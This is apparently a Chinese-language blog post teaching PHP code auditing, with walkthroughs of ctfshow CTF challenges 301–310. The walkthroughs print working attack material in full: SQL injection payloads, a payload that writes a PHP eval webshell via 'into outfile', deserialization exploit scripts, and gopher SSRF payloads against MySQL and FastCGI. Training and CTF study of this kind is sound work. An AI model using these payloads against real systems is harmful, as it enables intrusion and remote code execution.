Web_9_PHP代码审计
Charmersix

首先总结一下代码审计的思路

  1. 检查敏感函数的参数, 然后回溯变量, 判断变量是否可控, 并且有没有经过严格的过滤, 这是一个逆向追踪的过程
  2. 找出哪些文件在接收外部传入的参数, 然后跟踪变量的传递过程, 观察是否有变量传入到高危函数里面, 或者传递的过程是否有逻辑漏洞, 这是一种正向追踪的方式
  3. 直接挖掘功能点漏洞, 根据自身经验判断该类应用通常在哪些功能中会出现漏洞, 直接全篇阅读该功能代码
  4. 通篇阅读全文代码

了解系统架构

对于系统架构, 我们在确认了审计目标之后, 在审计之前, 需要先了解目标系统的基本架构, 比如目录情况/是否使用了框架/存在哪些路由/有没有安全过滤函数/有没有全局参数过滤; 这里就要分为有框架和无框架来进行分析

使用了开发框架

think PHP

以tp5为例, 框架的大体目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
www  WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函数文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─database.php 数据库配置文件

├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写

├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件

├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件

其中, application目录和public目录是应用程序文件目录和运行数据存放目录, 属于重点关注对象

同时, application目录下的config.php/databse.php/route.php分别是系统配置文件/数据库操作文件/系统路由文件; 都要仔细分析

对于ThinkPHP框架开发的应用,其访问系统的URL通常是这样的:/index.php/模块名/控制器名/函数名/[参数名/参数值]

其中模块名对应了application目录下的文件夹的名字。控制器名对应了模块名目录下的controller文件夹下的php文件名。参数则是可选的,可以按照/参数名/参数值的方式同时传入多个参数,也可以按照传统方式使用?参数1=参数值1&参数2=参数值2的方式传入变量。

laravel

基本目录结构:

1
2
3
4
|——app  包含了站点的controllers(控制器),models(模型),views(视图)和assets(资源
|——bootstrap 存放系统启动时的必要文件,这些文件会被index.php这样的文件调用。
|——public 系统运行的公开数据,包括静态资CSS文件、js文件等
|——vender 第三方类库

主要应用程序放在了app目录下

没有使用开发框架

在没有使用开发框架的情况下, 我们需要判断应用程序是否采用了mvc模式, 如果有的话, 需要查看系统的路由文件, 看看控制程序是如何通过路由定位的. 比如PHPCMS, 就是利用了自己开发出来的mvc控制器进行路由

访问index.php, 可以看到包含了phpcms/base.php

1
2
3
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'/phpcms/base.php';

进入base.php文件, 就能看到, 这里定义了特别多的路由以及初始化的一些类以及方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//PHPCMS框架路径
define('PC_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

if(!defined('PHPCMS_PATH')) define('PHPCMS_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR);

//缓存文件夹地址
define('CACHE_PATH', PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR);
//主机协议
define('SITE_PROTOCOL', isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://');
//当前访问的主机名
define('SITE_URL', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
//来源
define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
//定义网站根路径
define('WEB_PATH',pc_base::load_config('system','web_path'));
//js 路径
define('JS_PATH',pc_base::load_config('system','js_path'));
//css 路径
define('CSS_PATH',pc_base::load_config('system','css_path'));
//img 路径
define('IMG_PATH',pc_base::load_config('system','img_path'));
//动态程序路径
define('APP_PATH',pc_base::load_config('system','app_path'));
//应用静态文件路径
define('PLUGIN_STATICS_PATH',WEB_PATH.'statics/plugin/');
class pc_base {
......
}

对于没有使用框架, 也没有使用自定义的mvc模型的程序, 就只需要按照传统的脚本格式的访问方式就行, 以index.php作为切入点, 依次分析相关源码即可

参数过滤分析

传统参数过滤分析, 通常会以函数的方式进行过滤, 但是某些系统也可能会在参数传入后, 进行全局参数过滤, 所以我们在审计之前, 就需要先了解应用程序采用了哪些过滤方法, 是否使用了全局参数过滤

mvc模式下的过滤情况分析

首先以tp来说, 获取参数的方式有两种, 一是通过原生的$_GET等方式获取参数, 二是通过$Request()对象获取参数. 在审计think PHP程序的时候,就需要对这两种参数进行审计

在tp中, 会在config文件中定义一个默认的全局过滤器

1
2
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',

比如像上面这样, 默认的过滤器为空, 也就是说在使用$_GET等原始方法获取参数的时候, 就是不会进行过滤的

然后再来看看$Request对象获取参数时是如何进行的, 比如request对象的get方法, 是用于获取GET方式传入的参数的

1
2
3
4
5
6
7
8
9
10
11
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}

可以看到,这里定义了三个形参,分别是name、default、filter。其中name是我们要获取的变量名,而fileter则是我们要是用的过滤器,这里默认为空,也就是不进行任何过滤。

所以在进行审计的时候,我们就需要判断是否设置了默认的全局过滤选项,或者说是否在获取参数的时候,设置了新的过滤器。

原生php模式下的过滤分析

对于原生的php开发的应用程序, 往往是通过函数的方式来设置过滤规则, 所以就需要在参数获取的地方来看看, 是否调用了参数过滤函数来进行过滤来进行过滤, 并判断是否是有效过滤

这里以帝国CMS为例, 进行一个简单的分析. 帝国cms的过滤函数在e/class/connect.php中, 定义了三个参数处理函数, 这里以其中一个为例, 进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//参数处理函数
function RepPostVar($val){
if($val!=addslashes($val))
{
exit();
}
CkPostStrChar($val);
$val=str_replace("%","",$val);
$val=str_replace(" ","",$val);
$val=str_replace("`","",$val);
$val=str_replace("\t","",$val);
$val=str_replace("%20","",$val);
$val=str_replace("%27","",$val);
$val=str_replace("*","",$val);
$val=str_replace("'","",$val);
$val=str_replace("\"","",$val);
$val=str_replace("/","",$val);
$val=str_replace(";","",$val);
$val=str_replace("#","",$val);
$val=str_replace("--","",$val);
$val=RepPostStr($val,1);
$val=addslashes($val);
//FireWall
FWClearGetText($val);
return $val;
}

可见, 这里对% 空格 ` %20 %27 * ‘ \ / ; # –进行了过滤

然后我们可以具体到文件中, 看看传入的参数是否都调用了该函数进行过滤, 比如这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//审核评论
{
$plid=$_POST['plid'];
$id=$_POST['id'];
$bclassid=$_POST['bclassid'];
$classid=$_POST['classid'];
CheckPl_all($plid,$id,$bclassid,$classid,$logininid,$loginin);
}

function CheckPl_all($plid,$id,$bclassid,$classid,$userid,$username){
global $empire,$class_r,$dbtbpre,$public_r;
//验证权限
$restb=(int)$_POST['restb'];
$count=count($plid);
if(empty($count)||!$restb){
printerror("NotCheckPlid","history.go(-1)");
}
if(!strstr($public_r['pldatatbs'],','.$restb.',')){
printerror("NotCheckPlid","history.go(-1)");
}
$add='';
$docheck=(int)$_POST['docheck'];
$docheck=$docheck?1:0;
for($i=0;$i<$count;$i++){
$add.="plid='".intval($plid[$i])."' or ";
}
$add=substr($add,0,strlen($add)-4);
$sql=$empire->query("update {$dbtbpre}enewspl_{$restb} set checked='$docheck' where ".$add);
if($sql)
{
....
}
}

比如这里, 后台评论管理的地方, 获取了评论和ID等参数, 在未经过滤的情况下, 传入了CheckPl_all()函数, 可见这里的参数都没有调用过滤函数进行处理, 但是好在都对这些参数使用了int类型强制类型转换; 所以比较安全

然后我们开始刷一下ctfshow的题目301-310

做几个题

301

映入眼帘一个登陆框, 猜测存在SQL注入image-20230318201723336

果然, 毫无过滤的一个SQL注入漏洞, 然后这里第二个if判断

1
2
3
4
5
6
7
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}

检查$userpwd变量是否与$row['sds_password']变量相等, 如果相等, 则设置一个名为$_SESSION['login']的session变量为1

代码第一行使用strcasecmp()函数比较$userpwd , $row['sds_password两个变量, 该函数比较两个字符串返回一个整数, 表示两个字符串的相对大小. 如果两个字符串相同则会返回0, 继续执行$_SESSION['login']=1;并释放查询结果 $result,关闭 MySQL 数据库连接 $mysqli,然后将页面重定向到 index.php

这里我们payload是:

1
2
1' union select 1;#
1

这样我们查询的结果就是1, 然后密码也设为1即可, 当然也可以是2

image-20230318204821967

即可登录成功, 拿到flag

302

这题就只是修改了一个地方而已

image-20230318223652309

多了一个加密方法, 将用户输入的密码进行了一个解码, 那么我们人工将已经解码的sds_password输入进去, 那么两个变量还是相等的, 当然我们也可以将输入的userowd编码一下再输入进去, 但是那样是逆向的很明显要复杂很多

我们按住CTRL鼠标左键点一下sds_decode函数, 就能看见解码函数fun.php

image-20230318225522896

这个脚本也就是我们的exp:

1
2
3
4
<?php
$str = 2;
echo md5(md5($str.md5(base64_encode("sds")))."sds");
?>

最终payload

1
2
2' union select 'f977952c679ca39837adaba7778c288b';#
2
写入一句话木马

这两题都可以采用写入一句话木马的方法解决, 这样就可以无视php的逻辑, 直接写入

这里直接放payload

1
userid=1' union select "<?php eval($_POST[1]); ?>" into outfile "/var/www/html/1.php"%23&userpwd=1

image-20230318230540885

然后我们直接访问1.php, 然后就拿到shell了

image-20230318230634126

303

这题又增加了限制, 限制用户名长度小于6image-20230318233606240

那么我们之前的方法就不适用了

我们继续看下面的文件, 到了这个dptadd.php, 再次发现SQL语句, 是insertimage-20230318233757326

但是这个php文件, 我们无法直接访问, 需要登录后才可以, 这里有一个sql文件, 我们打开看一下, 发现了特别像密码的东西.image-20230318234129044

但是根据上一题经验, 这里的密码也应该是编码过的, 我们再去fun.php看一下, 运行刚好是那串字符串image-20230318234341919

那么账号密码就应该是admin,admin; 当然这里爆破弱口令似乎也是可以的

这里直接贴一下payload

1
2
3
4
5
dpt_name=123',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_address=123&dpt_build_year=2023-03-01&dpt_has_cert=on&dpt_cert_number=123&dpt_telephone_number=123

dpt_name=123',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_address=123&dpt_build_year=2023-03-01&dpt_has_cert=on&dpt_cert_number=123&dpt_telephone_number=123

dpt_name=123',sds_address=(select flag from sds_fl9g)%23&dpt_address=123&dpt_build_year=2023-03-01&dpt_has_cert=on&dpt_cert_number=123&dpt_telephone_number=123

我们只需要抓一个dptadd.php的包

image-20230318235426791

最终的查询结果就可以在dpt.php界面显示出来image-20230318235500652

304

增加了全局waf

1
2
3
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是好像并没有什么用, 貌似是源代码里没有用上waf, 我们继续试一下上题的payload,

image-20230319211342829

这里只是换了个表名, 但是payload仍然适用

305

这里介绍一个比较好用的工具, seay源码审计系统

我们把文件夹在里边打开直接点击自动审计即可image-20230319215153061

我们先看一下这个sql注入, 会发现这里套了waf, 那很明显前面的SQL注入就不能用了image-20230319215258043

那么我们尝试利用一下这个反序列化漏洞

image-20230319215952311

这里有个file_put_contents, 那么反序列化入口点在哪呢, 我们可以搜一下user试试

image-20230319220233850

可以看出cookie是反序列化入口, 我们先构造一个一句话木马试一试image-20230319220302158

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class user{
public $username;
public $password;
public function __construct(){
$this->username='1.php';
$this->password='<?php eval($_POST[1]);?>';
}

}
$a = new user();
echo urlencode(serialize($a));
?>

运行得到结果

1
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

这里还是需要我们登录后才能利用的, 所以我们要首先利用弱口令登录, 然后访问checklogin.php通过cookie发包

image-20230321203258701

连蚁剑并没有发现flag, 但是存在数据库, 我们猜测flag在数据库里image-20230321203600089

306

扫一下, 又在class.php里发现了漏洞image-20230321224658471

image-20230321225242370

然后我们再找一下close(), 然后在dao.php中找到了image-20230321225507395

我们构造一下exp.php

image-20230322152532491

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class dao
{
private $conn;

public function __construct()
{
$this->conn=new log();
}
}
class log{
public $title='1.php';
public $info='<?php eval($_POST[1]);?>';

}

$a = new dao();
echo base64_encode(serialize($a));

执行exp结果:

1
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

访问index.php并添加usercookie

image-20230322153252375

写入木马文件1.phpimage-20230322153356475

307

用工具扫一下, 扫出shell_exec可能存在任意命令执行漏洞image-20230322192359768

这里先找一下clearCache, 可以全局搜索一下, 在logout.php中, 发现了可利用点image-20230322192543459

再看一下cache_dir, 在config类里image-20230322192721758

这次我们从logout.phpservicecookie, 写入一句话木马php文件

访问http://url/controller/1.php

image-20230322203615656

308

上题利用的漏洞已经被修复了, 但是fun.php里多了一个ssrf利用点image-20230322212005877

dao.php中发现被调用image-20230322223652256

又在index.php中找到利用点image-20230322224124783

然后我们发现数据库密码为空, 这里我们可以想到使用gopher打MySQLimage-20230323131134417

利用gopherus生成,地址https://github.com/tarunkant/Gopherus![image-20230323131716266](https://blog-1308152021.cos.ap-beijing.myqcloud.com/image/202303231317501.png)

可以构造出最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url='gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}
$a = new dao();
echo base64_encode(serialize($a));
?>

访问首页并写入payload

image-20230323134729781

309

这题提到说MySQL有密码了, 那我们就没法利用3306端口了, 可以先通过file协议读一下配置文件, 看看有没有其他利用点, 可以看到是nginximage-20230323141848567

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url='file:///etc/nginx/nginx.conf';
}
$a = new dao();
echo base64_encode(serialize($a));
?>

image-20230323142709837

发现这里开放了9000端口, 我们可以尝试打一下fastcgi

image-20230323145142784

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config
{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27%20echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%201.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
$a = new dao();
echo base64_encode(serialize($a));
?>

310

像上题一样, 先读一下配置文件看看有没有什么蹊跷, 这里9000端口仍然开放, 我们再尝试打一下试试

image-20230323190405939

可以成功读取image-20230323190931517

这题我们还会发现配置文件里还有另一个端口, 4476, 可以直接利用这个端口

image-20230323150022849

直访问

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config
{
public $update_url = 'http://127.0.0.1:4476';
}
$a = new dao();
echo base64_encode(serialize($a));
?>

拿到flagimage-20230323150223253

常见漏洞审计方法总结

SQL注入

首先了解SQL注入常见的业务场景与漏洞类型

  • 用户登录
  • 数据搜索
  • 获取HTTP头
  • 商品购买(insert/update注入)
  • 信息查询

可以说, 任何与数据库进行交互的地方都可能存在SQL注入, 对于其漏洞存在场景也是多种多样

对于SQL注入最首先要关注的就是数据库操作的关键字

在原生PHP代码中要多关注这些

1
2
3
4
5
6
7
8
select
mysqli_connect
mysqli_query
mysqli_fetch_row
mysqli_fetch_array
update
indert into
delete

在CMS或者框架中,需要多关注下面这些

1
2
3
4
name()
where()
find()
select()

通过定位这些关键字,我们就能够定位到执行SQL语句的地方,然后去判断执行SQL语句中的参数是否采用了拼接SQL的方式,如果是则去判断是否存在参数过滤以及参数是否可控。

如果参数不可控,来源于某一条SQL语句查询出的结果,我们就需要重点关注这个参数是否来源于其他的用户输入,如果是,则需要考虑是否存在二次注入的情况。

XSS

xss漏洞需要重点关注输出函数

1
2
3
4
5
6
print()
echo
print_f()
die()
var_dump()
print_r()

然后去判断输出的内容是否存在可控变量, 并检测这些变量在输入或者输出的时候是否采用了HTML实体编码, 或者是否对输入进行了过滤, 如果什么都没有, 在输出内容可控的情况下则很可能存在xss漏洞

CSRF

可以尝试全局搜索

1
2
3
4
csrf-token
csrf_token
csrftoken
csrf

重点看一下是否在表单处存在随机token, 是否存在敏感操作的表单, 查看后端代码中是否会先验证这部分token, 如果没有验证token, 再进一步看看是否有refer的相关验证, 如果也没用就可能存在csrf

SSRF

ssrf漏洞引发函数主要是能用于远程请求资源的一些函数, 像这些

1
2
3
4
5
6
7
file_get_content()
curl()
fopen()
readline()
fsockopen()
curl_exec()
get_headers()

再看是否限制了访问端口/协议/内网IP地址等

常见的漏洞场景:

  • 社交分享
  • 转码服务
  • 在线翻译
  • 没有使用img标签的远程图片加载

对于检测方法主要也是通过判断这些函数获取的url或者文件名是否可控, 如果可控, 则可能造成漏洞, 同时也容易造成上面提到的任意文件读取漏洞

利用file://,http://,https://,dice://,gopher://协议打内网

代码执行

需要关注的一些函数:

1
2
3
4
5
eval()
assert()
preg_replace()
array_map()
call_user_funcn()

assert()函数在PHP中与eval类似,但是只能执行一行代码,在PHP7中则取消了该函数执行动态代码的功能,也就是说执行执行固定的代码了。

其他的代码执行函数,大多数为回调函数,具备了调用php代码的功能。

审计要素:

  • php.ini文件中的disable_function是否有禁用函数
  • 是否存在可以diamagnetic执行的敏感函数
  • 是否输入变量可控

命令执行

1
2
3
4
5
6
system()
exec()
shell_exec()
passthru()
popen()
proc_open()

对于命令执行漏洞来说,主要还是存在于一些获取系统信息的地方,可能会通过执行命令的方式来获取,若果说执行的命令可控的话,则可能导致命令执行。

对于命令执行的其中几个方法,存在一定的差异:

  • system()是执行系统命令并返回执行结果。
  • exec()则是执行命令后,返回一个结果句柄,并不直接返回结果。
  • shell_exec()则是执行不返回命令执行后的任何信息。

在php中, 通过{}的方式同样能够执行代码, 同时还能通过动态拼接代码的方式来执行PHP代码. 通过使用双反引号的方式, 也能够同样做到等同于system的命令执行效果

文件上传、删除、下载

文件上传

常见的业务有

  • 头像上传
  • 备份文件上传
  • 配置文件上传

对于文件上传漏洞,需要关注的函数为:

1
move_uplaod_file()

在审计的时候就只需要去搜欧索这一个函数,然后判断是否对文件上传的格式做限制,或者说是否可以绕过文件后缀限制。

如果说不能绕过的话,则需要去检测是否存在文件解析漏洞或者文件包含漏洞,然后进行绕过利用。

文件删除

对于文件删除漏洞,触发漏洞的函数同样只有一个,那就是

1
unlink()

我们在审计的时候,判断文件名是否可控,同时检测是否允许文件命中存在路径穿越符,如果允许,则说明存在任意文件删除漏洞,危害较大。

文件写入

常见触发函数如下

1
2
3
4
5
file_get_content()
fopen()
readfile()
fread()
file()

对于这种漏洞,可以在黑盒的情况下先去找文件读取和下载的的功能点,然后通过请求的URL去分析功能对应的具体代码,再来判断读取的文件,其文件名是否可控,是否允许文件名存在路径穿越符等。

如果存在漏洞的情况下,利用方法一时读取系统文件,而是读取网站源码,在读取的时候,我们可以使用php的伪协议来读取源码。

文件包含

常见触发函数

1
2
3
4
include()
require()
include_once()
require_once()

全局搜索, 然后一个个看, 查看变量可不可控

XXE

常见触发函数

1
2
3
simplexml_load_string()
DOMDocument
SimpleXMLElement

我们需要判断被解析的XML数据是否允许我们外部输入,并且是否允许代用外部实体,是否禁用了外部实体, 然后再进行详细的分析与利用

反序列化

可以尝试全局搜索一下serialize, 重点关注下列几个函数

1
2
3
4
5
6
7
8
9
10
11
__construct:在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct:和构造函数相反,当对象所在函数调用完毕后执行。
__call:当调用对象中不存在的方法会自动调用该方法。
__get():获取对象不存在的属性时执行此函数。
__set():设置对象不存在的属性时执行此函数。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发
__invoke() :将对象当作函数来使用时执行此方法

看看存不存在可控变量

审计技巧总结

GPC

简单介绍一下GPC, magic_quotes_gpcphp.ini里面的配置选项,在php5.2之前的版本默认开启, 在5.2-5.4之间的版本默认关闭, 5.4以后的版本直接取消了这一配置项

该配置项的作用就是对我们传入的POST, GET, COOKIE变量中的',",\,NULL等字符前加上\进行转义

在php中, 看其GPC的方法有两种, 一是在php.ini中配置magic_quotes_gpc选项的值为on, 还有一种就是在php代码中使用get_magic_quotes_gpc()函数判断是否开启该选项, 如果没有则使用addslashes()函数进行转义, 比如

1
2
3
4
5
if (!get_magic_quotes_gpc()) {  //magic_quotes_gpc 配置为 ON 则返回1,如果配置为OFF 则返回0
$_POST['message'] = addslashes($_POST['message']);
} else {
.......
}

在php中, 我们提到了POST等变量会受到全局配置GPC的影响, 但是$_SERVER变量不会, 其中获取http头并不受到GPC保护, 如果说获取的HTTP头存在于数据库交互的行为, 则可能导致SQL注入

同时由于使用了GPC对特殊字符进行转义, 我们都知道宽字节注入的原理, 如果说在开启了GPC的情况下, 还设置了数据库编码为GBK模式, 则可能导致宽字节注入的存在, 在php中设置数据库编码的方式有以下两种

1
2
方法1mysqli_set_charset($connnect,'GBK')
方法2mysqli_query("set names 'gbk'")

这两种方法都能设置数据库的编码模式,在开启了GPC的情况下,就容易出现宽字节注入的问题。

利用字符处理问题

利用字符处理函数报错

在了解这个问题之前, 我们需要知道, 在php中, 报错信息分为多个等级, 可以通过配置php.inidisplay_error=on或者在代码中使用error_reporting()来设置报错等级; 常见报错等级如下

1
2
3
4
5
6
7
8
9
1、E_ERROR             //致命的运行时错误。这类错误一般是不可恢复的情况,例如内存分配导致的问题。后果是导致脚本终止不再继续运行。
2、E_WARNING //运行时警告 (非致命错误)。仅给出提示信息,但是脚本不会终止运行。
3、E_PARSE //编译时语法解析错误。解析错误仅仅由分析器产生
4、E_NOTICE //运行时通知。
5、E_USER_ERROR //用户产生的错误信息。
6、E_USER_WARNING //用户产生的警告信息。
7、E_USER_NOTICE
8、E_STRICT //启用 PHP 对代码的修改建议,以确保代码具有最佳的互操作性和向前兼容性。
9、E_ALL //E_STRICT除外的所有错误和警告信息。

在PHP中,大多数的错误都会显示错误的文件路径与集体位置,在渗透测试中,经常会遇到上传或者写入webshell的的情况需要知道网站绝对路径,这时候我们就可以考虑使用PHP报错来获取网站路径。

对于PHP程序来说,大多数开发者都会使用trim()函数来去除参数首尾的空调,但是当我们传入的参数是一个数组的时候,比如/index.php?a[]=test,这时候如果采用trim($_GET('a')) 来去除a参数的空格的话,就会导致程序报错。

类似的函数还有很多, 类似

1
2
3
4
5
6
7
addcslashes()
bin2hex()
chr()
exho()
explode()
crypto()
md5()
利用字符串截断

字符串截断利用最多的则是在文件上传的时候,但是%00空字符即NULL,在开启了GPC的情况下会受到影响为不能正常利用。同时在PHP5.3以后,修复了这一问题,所以利用场景相对目前来比较少见。这里就只简单的提一下。

还有另外一种字符串截断情况, 就是使用了iconv()函数进行编码转换时, 比如utf-8转换为gbk编码, 总会存在一些差异, 导致转换出现乱码, 所以在使用了iconv()函数进行转换时, 如果出现了错误, 则会不再进行转换, 导致了字符串被截断的问题

有大佬测试了相关问题,发现在使用iconv()函数将UTF-8编码转为GBK编码的情况下,遇到cahr(128)—chr(255)之间的字符否存在被截断的可能。

不严谨的正则表达式

比如下面这样

1
2
3
4
$ip=$_SERVER('HTTP_CLIENT_IP');
if(preg_match('/\d+\.\d+\.\d+\.\d+/',$ip)){
echo $ip;
}

我们只需要在传入的payload以IP地址开头即可绕过, 像这样127.0.0.1</scritp>alert(xss)</scritp>

文章参考:https://blog.csdn.net/qq_45590334/article/details/126517767

 Comments